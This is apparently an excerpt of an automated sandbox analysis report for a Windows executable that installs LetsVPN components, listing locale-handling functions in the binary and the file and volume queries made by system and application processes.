__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,	0_2_0000000180022250
Source: C:\Users\user\Desktop\KLL.exe	Code function: _getptd,EnumSystemLocalesW,	0_2_0000000180023A60
Source: C:\Users\user\Desktop\KLL.exe	Code function: _calloc_crt,_malloc_crt,free,_malloc_crt,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_num,free,free,free,	0_2_0000000180021AEC
Source: C:\Users\user\Desktop\KLL.exe	Code function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,TestDefaultLanguage,	0_2_0000000180023AF4
Source: C:\Users\user\Desktop\KLL.exe	Code function: __crtGetLocaleInfoEx,__crtGetLocaleInfoEx,GetACP,	0_2_000000018002347C
Source: C:\Users\user\Desktop\KLL.exe	Code function: EnumSystemLocalesW,	0_2_00000001800164DC
Source: C:\Users\user\Desktop\KLL.exe	Code function: __crtDownlevelLocaleNameToLCID,GetLocaleInfoW,	0_2_0000000180016520
Source: C:\Users\user\Desktop\KLL.exe	Code function: _getptd,_getptd,LcidFromHexString,GetLocaleInfoW,TestDefaultLanguage,	0_2_0000000180023D24
Source: C:\Users\user\Desktop\KLL.exe	Code function: __crtGetLocaleInfoEx,	0_2_0000000180023530
Source: C:\Users\user\Desktop\KLL.exe	Code function: _calloc_crt,_malloc_crt,free,_malloc_crt,free,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_mon,free,free,free,free,	0_2_0000000180021580
Source: C:\Users\user\Desktop\KLL.exe	Code function: _getptd,__lc_wcstolc,__get_qualified_locale_downlevel,__get_qualified_locale,__lc_lctowcs,__crtGetLocaleInfoEx,GetACP,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,	0_2_000000018001BE0C
Source: C:\Users\user\Desktop\KLL.exe	Code function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,__crtGetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,__crtGetUserDefaultLocaleName,_invoke_watson,_invoke_watson,_getptd,_getptd,LcidFromHexString,GetLocaleInfoW,	0_2_0000000180023634
Source: C:\Users\user\Desktop\KLL.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0000000180023E70
Source: C:\Users\user\Desktop\KLL.exe	Code function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,__crtGetLocaleInfoEx,_calloc_crt,__crtGetLocaleInfoEx,free,__crtGetLocaleInfoEx,_invoke_watson,	0_2_000000018001671C
Source: C:\Users\user\Desktop\KLL.exe	Code function: _getptd,GetLocaleInfoW,	0_2_0000000180023F20
Source: C:\Users\user\Desktop\KLL.exe	Code function: _getptd,_getptd,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,TranslateName,GetLcidFromLangCountry,GetLcidFromLanguage,_getptd,EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,__crtDownlevelLCIDToLocaleName,__crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,_itow_s,	0_2_0000000180023FC8
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: GetModuleHandleW,GetProcAddress,EncodePointer,DecodePointer,GetLocaleInfoEx,GetLocaleInfoW,	16_2_6C6819CE
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: _Getdateorder,___lc_locale_name_func,__crtGetLocaleInfoEx,	16_2_6C94A720

Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\ProgramData\letsvpn-latest.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\letsvpn-latest.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Queries volume information: C:\Program Files (x86)\letsvpn\driver\tap0901.cat VolumeInformation
Source: C:\Windows\System32\drvinst.exe	Queries volume information: C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\tap0901.cat VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\PresentationFramework-SystemXml\v4.0_4.0.0.0__b77a5c561934e089\PresentationFramework-SystemXml.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WSMan.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
